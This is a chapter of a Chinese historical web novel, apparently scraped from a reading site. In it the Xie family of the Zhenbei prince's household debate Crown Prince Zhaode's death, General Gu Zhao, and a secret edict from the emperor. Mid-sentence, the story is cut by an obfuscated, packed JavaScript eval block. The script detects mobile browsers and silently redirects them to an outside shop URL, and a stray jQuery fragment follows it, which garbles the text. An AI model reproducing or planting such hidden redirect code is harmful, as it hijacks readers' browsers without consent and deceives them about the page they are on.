镇北王府正厅,一股悲怆之气笼罩其中。
“璟儿,你详细说说北秦一行细末,顾昭将军,可有遗言?他一双儿女情形如何?怎没随你一块回王府?”老王爷焦急问谢璟。
“顾将军一双儿女尚平安。祖父,您先告诉璟儿,为何除夕之夜璟儿说完当日北秦一行,您和父亲即派出青组和赤组前往北秦保护顾将军一家?”
谢璟顿一顿,又继续说道:“您当时既已猜出巴彦山下的猎户是顾将军一家,为何没有告知璟儿?据璟儿所知,顾昭将军和镇北王府以前并无来往。”
谢琛听兄长说完,扬了扬眉,赞成地点点头。想来也是被祖父和父亲背着行动,心里颇为不爽。
老王爷却是摇了摇头——就知道早晚瞒不过这个孙儿。不过他早有计较,缓缓开口道:“璟儿可知为何镇北王府从不轻议二十年前秦州战场之事?”
“璟儿愚钝,尚不知。”
“祖父,那到底是为何?”谢琛插嘴道,“琛儿还记得,小时候有一次说了昭德太子的坏话,父亲还重罚于琛儿呢!琛儿回去问娘亲,娘亲只说,昭德太子是我们的姨丈,不可妄议。”
老王爷目光微沉,缓缓道:“你娘亲说的没错,昭德太子是你们的姨丈,但这只是其一。朝堂之上,亲故何止一家?且此事涉及皇家隐晦,本不能妄议。但祖父初衷非此。”
老王爷说至此处,拾起茶盏,抿了一口清茶,才缓缓道:
“二十年前,腊月大雪。秦州之战,大魏胜局已定,西戎挥师偷袭,昭德太子自绝谢罪。天下皆传太子弃城投降,不堪千古骂名才自绝。但昭德素来贤明仁厚,到底是为何自绝,尚存疑点。”
“有何疑点?天下皆传,自有其道理。要换了琛儿,弃城投降,满城百姓惨遭屠戮,琛儿也无颜面苟活于世!”
“琛儿,休得胡言。”老王爷打断谢琛的话,转头看向谢璟,似想看看谢璟如何看待此事。
谢璟思索片刻,才开口道:“素有贤名,只是口说。一个人的真实情形到底如何,却只能看他行事。就算姨丈素来仁厚,那千件仁厚小事,终抵不过开城门降于大魏这事关大节之事。”
谢璟顿了一顿,思索片刻,“但祖父说尚存疑点,璟儿斗胆试想,万一昭德太子——姨丈自绝,是未免大魏拿储君威胁晋庭呢?且单说弃城和守城一事。倘若换成璟儿守城,城外魏军数倍于我守军,城内弹尽粮绝已无再坚守之可能,两难境地,作何选择?一是率城取义,一是弃城投降。两者之中,若魏军信守承诺,弃城投降,百姓性命尚有一丝希望保全。”
谢璟停了几息,才目光坚毅地继续道:“若是璟儿,璟儿选后者。”
正厅内静悄悄的,谢琛被谢璟的话震得发不出声来——主将怎可率城投降?怎可?
大将军始终沉默,璟儿此番言论,只能在这正厅里说,传出去,可是会背上大逆不道的名声。但他心里却颇欣慰——此子,真得其父风范。
老王爷捋了捋胡须,半晌才道:“璟儿继续说下去。”
“是。”谢璟顺着祖父的话,继续道:“最难的是弃城之后。魏军弃诺,将满城兵士、百姓屠戮殆尽。堂堂一国储君,一城百姓都保不住,现自己又落入敌手。自绝,似乎真是因为再无颜面面对天下苍生。但若是北魏擒了昭德,威胁于晋庭,意图换取边界更多的城池呢?”
“大哥!你偏袒姨丈,照你这么说,姨丈自绝还是为了大义不成?”谢琛急了。
“璟儿不敢,祖父既问,璟儿只是如实推敲。”
老王爷捋须的手放下,转头看着谢璟和谢琛,似在思索谢璟的话,好半晌,才缓缓开口道:“璟儿所言极是。将在外的苦楚,别人不知,镇北王府又怎能不晓?”
说完,又转头问谢琛:“琛儿,那日在永安驿,你兄长在扬烈将军面前说的那番话,你可还记得?”
谢琛见祖父脸色极是庄重。他细细回想那日情形,便将谢璟当日所言道来:“大哥那夜说,谢家守梁州,守的不是朝廷的疆土,守的是这一方百姓的炊烟。朝廷若有道,谢家便是忠臣;朝廷若无道……”谢琛仔细回想,惊雷一般说出了那夜谢璟的掷地之声:
“谢家,便是百姓最后一道屏障!”
大将军闻言腾地站起来,转头朝老王爷道:“父亲!”
老王爷干脆地一挥手,止住了儿子,“谢启,璟儿和琛儿已是弱冠之年。你护得住他们一时,护得住一世?天下这般局势,镇北王府岂能独善其身?天字号此时已在返京路上,他们若知晓顾昭将军一双儿女尚在人世,这天下的风云,恐怕要被搅得更混些!”
大将军被父亲反驳,自知父亲句句在理,没有出声。
谢璟抿唇,未语。
谢琛疑惑地看着祖父和父亲,“祖父,父亲,你们怎么越说越远了?到底顾昭将军和我们镇北王府有何干系?”
谢琛问出谢璟先前所问,引得谢璟亦转头仔细看老王爷,就连他脸上一丝一末的表情,也没有放过。
“狼崽子,倒敏锐得很……”老王爷心里暗道,面上却不疾不徐。
“当年,秦州城生灵涂炭,增援昭德太子的是朔州军,主将也颇是个人物,乃朔州守疆大将李茂。李茂本人,生于朔州将门之家,祖上三代皆以军功立身。十五岁从军,十八岁独领一营,二十岁便以骁勇闻名边关。死在他刀下的胡骑不计其数,边关父老称他“李铁骨”。众人皆以为李茂会是李氏一门百年来第一个封侯之人,但不知为何,他却始终与“封侯”二字无缘。”
老王爷说了这一段,似又回忆起当年战场的惨烈。叹了一口气,才又接着说:“后来西戎突然发兵来袭,晋康帝突发军令命梁州军速速驰援秦州——我和你们的父亲率谢家军赶到秦州时,秦州之惨烈,乃生平所未见。可怪就怪在,秦州军一个不剩,而李茂的朔州军,也已领了败绩从战场撤退。算算日子,就算情形艰难,朔州军的反应,却不像“李铁骨”的往日的实力。”
“祖父和父亲怀疑,朔州军有问题?”谢璟抬头,一双墨瞳定在老王爷脸上,声音低沉地问。
“那一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731064|206755||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
战实在艰难,朔州军无力抵挡也在情理之中。只是昭德的人,死得太干净了些。我们后来到过昭德督战时坐镇的秦州治所,所有行军文件物什,都已被搬空了——也实在太干净了些。”
“后来呢?”谢琛忍不住出声问。
“后来?后来的事情你们也知道了。谢家军奋血浴战,从北魏和西戎手里抢回秦州三分之地。这一战,已是二十年了。”
厅中静了几息。
谢璟稍作思索,开口道:“璟儿赶到巴彦山时,顾昭将军已中毒,亡于天魁星之手。白组和玄组当日在场,那日,天魁星曾说,昭德太子开城之时,顾昭将军并不在昭德太子身边。既如此,挽澜将军作为姨丈麾下第一猛将,为何会不在战场之上?反而在事后销声匿迹,隐居于北秦之地?”
“璟儿以为呢?”老王爷不答,端起茶盏抿了一口,反问谢璟。
谢璟手指在身边案几上轻叩,略一思索,缓缓开口:“自是有比守在战场上更重要的事情需要顾将军去做,才会在如此重要的场合,连麾下大将都不在身边。可是,更重要的事情,比自己的命还重要的事情,是什么呢?娘亲说,姨母后来得到姨丈薨于秦州的消息,就断了生念,随姨丈去了。既然无关身边最重要的人,璟儿尚参不透原由。”
谢璟行军打仗、谋兵布阵均得老王爷真传,故他二人此番分析,就像二人在互相推敲,却足令谢琛陷入思索。谢琛愣愣的抬起头,一双眼满是疑问,看看兄长,又看看父亲和祖父,呆呆地问:“对呀,到底为什么呢?”
正堂静得只剩炭火,偶尔“噼啪”一声打破四人的安静。
老王爷接过下人添来的热茶,轻轻刮了刮茶沫,又吹了吹。他正准备开口,大将军谢启却紧张地对老王爷喊了一声:“父亲!”
谢璟几不可见地扬了扬眉毛,没有出声。谢琛却还在全神贯注地等着祖父讲述缘由。
老王爷向大将军摆摆手,继续道:“其实镇北王府和顾昭将军并不是没有来往。昭德太子和你们的姨母亡故后,顾昭将军曾来过一趟镇北王府。”
“挽澜刀顾昭来过镇北王府?”谢琛听祖父这么一说,忍不住站了起来,看看兄长,又缓缓坐了回去。
谢璟手仍放在几案上,只一双眼睛,目光紧紧随着祖父和父亲,不时还从父亲脸上读出了紧张,但没有作声。
老王爷心里暗叹:倒是个沉得住气的,比他们的父亲谢启还强些。然后才继续往下说:“顾昭将军到镇北王府打听,谢家军驰援秦州战场时,可曾在秦州府衙治所,寻到什么相关物什。”
“相关物什?那是什么?”谢琛又忍不住发问。
老王爷看了一眼谢琛,声音低沉,惊雷一般说道:“一道密诏!顾昭将军说,昭德太子打开城门,是奉了晋康帝密诏的旨意行事!”
“密诏?”这下,谢璟和谢琛惊得都站了起来,失声道。
一旁的大将军,却舒了一口气,缓缓地坐回椅中。
谢璟瞬间收回震惊,不动声色地将父亲面色全看在眼里。